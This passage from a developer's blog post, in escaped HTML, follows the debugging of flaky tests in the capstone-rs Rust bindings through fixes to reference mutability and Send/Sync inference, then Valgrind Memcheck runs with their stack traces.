&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1EC321: test::run_tests_console::{{closure}} (lib.rs:924)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1EA9F8: run_tests&amp;lt;closure&amp;gt; (lib.rs:1145)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1EA9F8: test::run_tests_console (lib.rs:924)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1E6156: test::test_main (lib.rs:286)
&lt;&#x2F;span&gt;&lt;span&gt;==14815==    by 0x1E6388: test::test_main_static (lib.rs:320)
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The stacktraces did not include code that I wrote, only code in the Rust test runner.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;mut-self-vs-self&quot;&gt;&lt;code&gt;&amp;amp;mut self&lt;&#x2F;code&gt; vs. &lt;code&gt;&amp;amp;self&lt;&#x2F;code&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#mut-self-vs-self&quot; aria-label=&quot;Anchor link for: mut-self-vs-self&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;Through compile-time borrow checks, the Rust compiler ensures that there can only be
&lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;book&#x2F;ch04-02-references-and-borrowing.html#mutable-references&quot;&gt;up to one mutable reference OR any number of immutable references&lt;&#x2F;a&gt;
to a given variable.&lt;&#x2F;p&gt;
&lt;p&gt;Perhaps I was exposing a non-&lt;code&gt;mut&lt;&#x2F;code&gt; reference where I should be exposing a &lt;code&gt;mut&lt;&#x2F;code&gt; reference?&lt;&#x2F;p&gt;
&lt;p&gt;As the bindings author, I am responsible for describing to the Rust compiler how the borrowing and lifetimes work in the underlying C library.&lt;&#x2F;p&gt;
&lt;p&gt;I decided to check my assumptions where I only took a mutable reference.&lt;&#x2F;p&gt;
&lt;p&gt;In the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;aquynh&#x2F;capstone&#x2F;blob&#x2F;7723175e80bcb95c73e30052cb8a10e0aceacfc4&#x2F;cs.c#L515&quot;&gt;C code for &lt;code&gt;cs_disasm()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;size_t CAPSTONE_API &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;cs_disasm&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    csh &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ud&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span&gt;uint8_t *&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;buffer&lt;&#x2F;span&gt;&lt;span&gt;, size_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;offset&lt;&#x2F;span&gt;&lt;span&gt;, size_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;count&lt;&#x2F;span&gt;&lt;span&gt;, cs_insn **&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;insn&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* Declare more local variables *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span&gt; cs_struct *handle = (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span&gt; cs_struct *)(uintptr_t) ud;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* Do some checks *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(handle-&amp;gt;arch == CS_ARCH_ARM)
&lt;&#x2F;span&gt;&lt;span&gt;        handle-&amp;gt;ITBlock.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;size &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* Do more stuff *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If the architecture is ARM, then &lt;code&gt;cs_disasm()&lt;&#x2F;code&gt; mutates the handle.&lt;&#x2F;p&gt;
&lt;p&gt;In &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&quot;&gt;capstone-rs&lt;&#x2F;a&gt;, we expose &lt;code&gt;cs_disasm()&lt;&#x2F;code&gt; through the &lt;code&gt;Capstone::disasm_*()&lt;&#x2F;code&gt; family of methods.
But, the methods take &lt;code&gt;&amp;amp;self&lt;&#x2F;code&gt; parameter, which is &lt;em&gt;not&lt;&#x2F;em&gt; a mutable reference!
As the bindings author, it is my responsibility to expose the correct interface that allows the Rust type system to ensure safety.&lt;&#x2F;p&gt;
&lt;p&gt;It was an easy fix to have the methods take &lt;code&gt;&amp;amp;mut self&lt;&#x2F;code&gt; instead of &lt;code&gt;&amp;amp;self&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fix-status-1&quot;&gt;Fix status&lt;a class=&quot;zola-anchor&quot; href=&quot;#fix-status-1&quot; aria-label=&quot;Anchor link for: fix-status-1&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Even after this second fix, &lt;code&gt;cargo test&lt;&#x2F;code&gt; would still fail sometimes.
I had look elsewhere...&lt;&#x2F;p&gt;
&lt;h1 id=&quot;automatic-send-sync&quot;&gt;Automatic &lt;code&gt;Send&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;Sync&lt;&#x2F;code&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#automatic-send-sync&quot; aria-label=&quot;Anchor link for: automatic-send-sync&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;At this stage, I was at a loss for what the problem could be.
I considered the &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;book&#x2F;ch16-04-extensible-concurrency-sync-and-send.html&quot;&gt;&lt;code&gt;Send&lt;&#x2F;code&gt; and &lt;code&gt;Sync&lt;&#x2F;code&gt; are &quot;marker&quot; traits&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;marker&#x2F;trait.Send.html&quot;&gt;&lt;code&gt;Send&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: it is safe to send a type over a channel&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;marker&#x2F;trait.Sync.html&quot;&gt;&lt;code&gt;Sync&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: it is safe to access a type from different threads&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Perhaps some capstone-rs types were mistakenly identified as &lt;code&gt;Send&lt;&#x2F;code&gt; and&#x2F;or &lt;code&gt;Sync&lt;&#x2F;code&gt;?
Maybe Cargo generated tests that ran in parallel and had race conditions?&lt;&#x2F;p&gt;
&lt;p&gt;Looking at the auto-generated &lt;code&gt;cargo doc&lt;&#x2F;code&gt; documentation:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;capstone-rs-auto-trait-send-sync.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;I examined the Rust definition of the &lt;code&gt;Capstone&lt;&#x2F;code&gt; struct:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;pub struct &lt;&#x2F;span&gt;&lt;span&gt;Capstone {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;csh&lt;&#x2F;span&gt;&lt;span&gt;: csh,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;mode&lt;&#x2F;span&gt;&lt;span&gt;: cs_mode,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;endian&lt;&#x2F;span&gt;&lt;span&gt;: cs_mode,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;syntax&lt;&#x2F;span&gt;&lt;span&gt;: cs_opt_value::Type,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;extra_mode&lt;&#x2F;span&gt;&lt;span&gt;: cs_mode,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;detail_enabled&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;raw_mode&lt;&#x2F;span&gt;&lt;span&gt;: cs_mode,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;arch&lt;&#x2F;span&gt;&lt;span&gt;: Arch,
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Since all of &lt;code&gt;Capstone&lt;&#x2F;code&gt;&#x27;s fields are &lt;code&gt;Send&lt;&#x2F;code&gt; and &lt;code&gt;Sync&lt;&#x2F;code&gt;, the Rust compiler treated &lt;code&gt;Capstone&lt;&#x2F;code&gt; as &lt;code&gt;Send&lt;&#x2F;code&gt; and &lt;code&gt;Sync&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;But&lt;&#x2F;em&gt;, the &lt;code&gt;Capstone&lt;&#x2F;code&gt; type should not be &lt;code&gt;Send&lt;&#x2F;code&gt; &lt;em&gt;nor&lt;&#x2F;em&gt; &lt;code&gt;Sync&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The Capstone C library defines the handle type &lt;code&gt;csh&lt;&#x2F;code&gt; as an alias for &lt;code&gt;size_t&lt;&#x2F;code&gt; (equivalent to &lt;code&gt;usize&lt;&#x2F;code&gt; in Rust).
However, under the hood, &lt;code&gt;csh&lt;&#x2F;code&gt; is cast as a pointer to an opaque type.&lt;&#x2F;p&gt;
&lt;p&gt;How can we tell the Rust compiler stop stop inferring that the &lt;code&gt;Capstone&lt;&#x2F;code&gt; struct is &lt;code&gt;Send&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;Sync&lt;&#x2F;code&gt;?&lt;&#x2F;p&gt;
&lt;p&gt;According to the &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nomicon&#x2F;send-and-sync.html&quot;&gt;nomicon&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;raw pointers are neither Send nor Sync (because they have no safety guards)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Since the C library already treated  the &lt;code&gt;csh&lt;&#x2F;code&gt; field as a pointer, I just changed the &lt;code&gt;csh&lt;&#x2F;code&gt; type to a &lt;code&gt;*mut c_void&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;pub struct &lt;&#x2F;span&gt;&lt;span&gt;Capstone {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;csh&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;*mut&lt;&#x2F;span&gt;&lt;span&gt; c_void,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* Other fields *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fix-status-2&quot;&gt;Fix status&lt;a class=&quot;zola-anchor&quot; href=&quot;#fix-status-2&quot; aria-label=&quot;Anchor link for: fix-status-2&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;code&gt;Capstone&lt;&#x2F;code&gt; struct was no longer &lt;code&gt;Send&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;Sync&lt;&#x2F;code&gt;, but &lt;code&gt;cargo test&lt;&#x2F;code&gt; still failed.
I kept searching...&lt;&#x2F;p&gt;
&lt;h1 id=&quot;second-attempt-at-using-tools-valgrind-memcheck&quot;&gt;Second attempt at using tools: Valgrind Memcheck&lt;a class=&quot;zola-anchor&quot; href=&quot;#second-attempt-at-using-tools-valgrind-memcheck&quot; aria-label=&quot;Anchor link for: second-attempt-at-using-tools-valgrind-memcheck&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;I decided to revisit tools to help find the bugs, specifically Valgrind (since it is the easy to use).
I decided to use the &lt;a href=&quot;http:&#x2F;&#x2F;valgrind.org&#x2F;docs&#x2F;manual&#x2F;mc-manual.html&quot;&gt;Memcheck plugin&lt;&#x2F;a&gt; (the default plugin) to look for non-threading bugs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;using-the-system-allocator&quot;&gt;Using the system allocator&lt;a class=&quot;zola-anchor&quot; href=&quot;#using-the-system-allocator&quot; aria-label=&quot;Anchor link for: using-the-system-allocator&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The Valgrind framework uses &lt;a href=&quot;http:&#x2F;&#x2F;uninformed.org&#x2F;index.cgi?v=7&amp;amp;a=1&amp;amp;p=3&quot;&gt;dynamic binary instrumentation (DBI)&lt;&#x2F;a&gt; to run instrumentation code.
Valgrind&#x27;s Memcheck plugin works by tracking allocation calls (such as &lt;code&gt;malloc()&lt;&#x2F;code&gt;) and memory reads&#x2F;writes.
Memcheck can catch bugs such as invalid memory reads&#x2F;writes and memory leaks.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;28224&quot;&gt;To avoid issues&lt;&#x2F;a&gt;, I decided to use the system allocator (instead of the default jemalloc implementation).
To make the nightly toolchain optional, I added an &lt;code&gt;alloc_system&lt;&#x2F;code&gt; &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;cargo&#x2F;reference&#x2F;features.html&quot;&gt;feature&lt;&#x2F;a&gt; to toggle the system allocator.&lt;&#x2F;p&gt;
&lt;p&gt;I defined &lt;code&gt;alloc_system&lt;&#x2F;code&gt; feature in &lt;code&gt;Cargo.toml&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;&lt;span&gt;[features]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;default &lt;&#x2F;span&gt;&lt;span&gt;= []
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;alloc_system &lt;&#x2F;span&gt;&lt;span&gt;= []
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Added conditional checks to enable the system allocator in &lt;code&gt;src&#x2F;lib.rs&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span&gt;#[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cfg&lt;&#x2F;span&gt;&lt;span&gt;(feature = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;alloc_system&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;std::alloc::System;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;#[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cfg&lt;&#x2F;span&gt;&lt;span&gt;(feature = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;alloc_system&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)]
&lt;&#x2F;span&gt;&lt;span&gt;#[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;global_allocator&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;static &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;ALLOCATOR&lt;&#x2F;span&gt;&lt;span&gt;: System = System;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;i&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;: Since implementing the &lt;code&gt;alloc_system&lt;&#x2F;code&gt; feature, &lt;a href=&quot;https:&#x2F;&#x2F;blog.rust-lang.org&#x2F;2018&#x2F;08&#x2F;02&#x2F;Rust-1.28.html#global-allocators&quot;&gt;Rust 1.28 stabilized global allocators&lt;&#x2F;a&gt;.&lt;&#x2F;i&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;replicating-the-crash-on-linux&quot;&gt;Replicating the crash on Linux&lt;a class=&quot;zola-anchor&quot; href=&quot;#replicating-the-crash-on-linux&quot; aria-label=&quot;Anchor link for: replicating-the-crash-on-linux&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I ran the tests under the nightly toolchain on my Ubuntu Linux laptop&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ cargo +nightly test --features alloc_system
&lt;&#x2F;span&gt;&lt;span&gt;    Finished dev [unoptimized + debuginfo] target(s) in 0.08s
&lt;&#x2F;span&gt;&lt;span&gt;     Running target&#x2F;debug&#x2F;deps&#x2F;capstone-7ce80c0a0e7a0946
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;running 41 tests
&lt;&#x2F;span&gt;&lt;span&gt;test arch::arm64::test::test_arm64shift ... ok
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_arch_arm_detail ... ok
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_arch_mips_detail ... FAILED
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_arch_arm64_detail ... ok
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_arch_systemz ... ok
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_arch_x86_detail ... FAILED
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_arch_arm ... ok
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_x86_names ... ok
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_instruction_group_ids ... FAILED
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_arch_x86 ... ok
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_x86_simple ... ok
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_syntax ... ok
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;failures:
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;---- test::test_arch_mips_detail stdout ----
&lt;&#x2F;span&gt;&lt;span&gt;thread &amp;#39;test::test_arch_mips_detail&amp;#39; panicked at &amp;#39;index 218 out of range for slice of length 8&amp;#39;, libcore&#x2F;slice&#x2F;mod.rs:1965:5
&lt;&#x2F;span&gt;&lt;span&gt;note: Run with `RUST_BACKTRACE=1` for a backtrace.
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;---- test::test_arch_x86_detail stdout ----
&lt;&#x2F;span&gt;&lt;span&gt;thread &amp;#39;test::test_arch_x86_detail&amp;#39; panicked at &amp;#39;index 39 out of range for slice of length 8&amp;#39;, libcore&#x2F;slice&#x2F;mod.rs:1965:5
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;---- test::test_instruction_group_ids stdout ----
&lt;&#x2F;span&gt;&lt;span&gt;Insn { address: 4096, len: 1, bytes: [144], mnemonic: Some(&amp;quot;nop&amp;quot;), op_str: Some(&amp;quot;&amp;quot;) }
&lt;&#x2F;span&gt;&lt;span&gt;Insn { address: 4097, len: 2, bytes: [116, 5], mnemonic: Some(&amp;quot;je&amp;quot;), op_str: Some(&amp;quot;0x1008&amp;quot;) }
&lt;&#x2F;span&gt;&lt;span&gt;thread &amp;#39;test::test_instruction_group_ids&amp;#39; panicked at &amp;#39;Expected groups {InsnGroupId(1)} does NOT match computed insn groups {}&amp;#39;, src&#x2F;lib.rs:482:9
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;failures:
&lt;&#x2F;span&gt;&lt;span&gt;    test::test_arch_mips_detail
&lt;&#x2F;span&gt;&lt;span&gt;    test::test_arch_x86_detail
&lt;&#x2F;span&gt;&lt;span&gt;    test::test_instruction_group_ids
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;test result: FAILED. 38 passed; 3 failed; 0 ignored; 0 measured; 0 filtered out
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;error: test failed, to rerun pass &amp;#39;--lib&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The tests actually failed!
This was the first time &lt;code&gt;cargo test&lt;&#x2F;code&gt; failed on my Linux development machine.
Different tests failed each time (like on Mac OS).
Sometimes, the test program did not complete and exited with &lt;code&gt;SIGILL: illegal instruction&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;running-under-valgrind&quot;&gt;Running under Valgrind&lt;a class=&quot;zola-anchor&quot; href=&quot;#running-under-valgrind&quot; aria-label=&quot;Anchor link for: running-under-valgrind&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;To make tests more consistent and reduce errors, I passed &lt;code&gt;--test-threads=1&lt;&#x2F;code&gt; and &lt;code&gt;test_syntax()&lt;&#x2F;code&gt;.
At this point, I had the reduced test case to run under Valgrind.&lt;&#x2F;p&gt;
&lt;p&gt;I ran the test binary directly (instead of the &lt;code&gt;cargo test ...&lt;&#x2F;code&gt; invocation) to simplify debugging.
Since, &lt;code&gt;cargo test&lt;&#x2F;code&gt; spawns the test binary as a child process, I would have needed to trace the child process.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ valgrind --track-origins=yes --leak-check=full \
&lt;&#x2F;span&gt;&lt;span&gt;    target&#x2F;debug&#x2F;deps&#x2F;capstone-7ce80c0a0e7a0946 \
&lt;&#x2F;span&gt;&lt;span&gt;    --test-threads=1 test::test_syntax
&lt;&#x2F;span&gt;&lt;span&gt;==12465== Memcheck, a memory error detector
&lt;&#x2F;span&gt;&lt;span&gt;==12465== Copyright (C) 2002-2017, and GNU GPL&amp;#39;d, by Julian Seward et al.
&lt;&#x2F;span&gt;&lt;span&gt;==12465== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
&lt;&#x2F;span&gt;&lt;span&gt;==12465== Command: target&#x2F;debug&#x2F;deps&#x2F;capstone-7ce80c0a0e7a0946 --test-threads=1 test::test_syntax
&lt;&#x2F;span&gt;&lt;span&gt;==12465==
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;running 1 test
&lt;&#x2F;span&gt;&lt;span&gt;test test::test_syntax ... ==12465== Thread 2 test::test_synta:
&lt;&#x2F;span&gt;&lt;span&gt;==12465== Invalid read of size 1
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    at 0x17876C: capstone::instruction::InsnDetail::groups_count (instruction.rs:284)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1786E6: capstone::instruction::InsnDetail::groups (instruction.rs:279)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x196497: capstone::test::test_instruction_group_helper (lib.rs:464)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x197654: capstone::test::instructions_match_group (lib.rs:540)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x17F3A8: capstone::test::test_syntax (lib.rs:847)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1CB699: capstone::__test::TESTS::{{closure}} (lib.rs:764)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x18A91D: core::ops::function::FnOnce::call_once (function.rs:223)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1F0B8E: {{closure}} (lib.rs:1451)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1F0B8E: call_once&amp;lt;closure,()&amp;gt; (function.rs:223)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x1F0B8E: &amp;lt;F as alloc::boxed::FnBox&amp;lt;A&amp;gt;&amp;gt;::call_box (boxed.rs:640)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x2FF739: __rust_maybe_catch_panic (lib.rs:105)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: try&amp;lt;(),std::panic::AssertUnwindSafe&amp;lt;alloc::boxed::Box&amp;lt;FnBox&amp;lt;()&amp;gt;&amp;gt;&amp;gt;&amp;gt; (panicking.rs:289)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: catch_unwind&amp;lt;std::panic::AssertUnwindSafe&amp;lt;alloc::boxed::Box&amp;lt;FnBox&amp;lt;()&amp;gt;&amp;gt;&amp;gt;,()&amp;gt; (panic.rs:397)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: {{closure}} (lib.rs:1406)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x20D2FD: std::sys_common::backtrace::__rust_begin_short_backtrace (backtrace.rs:136)
&lt;&#x2F;span&gt;&lt;span&gt;==12465==    by 0x212174: {{closure}}&amp;lt;closure,()&amp;gt; (mod.rs:409)
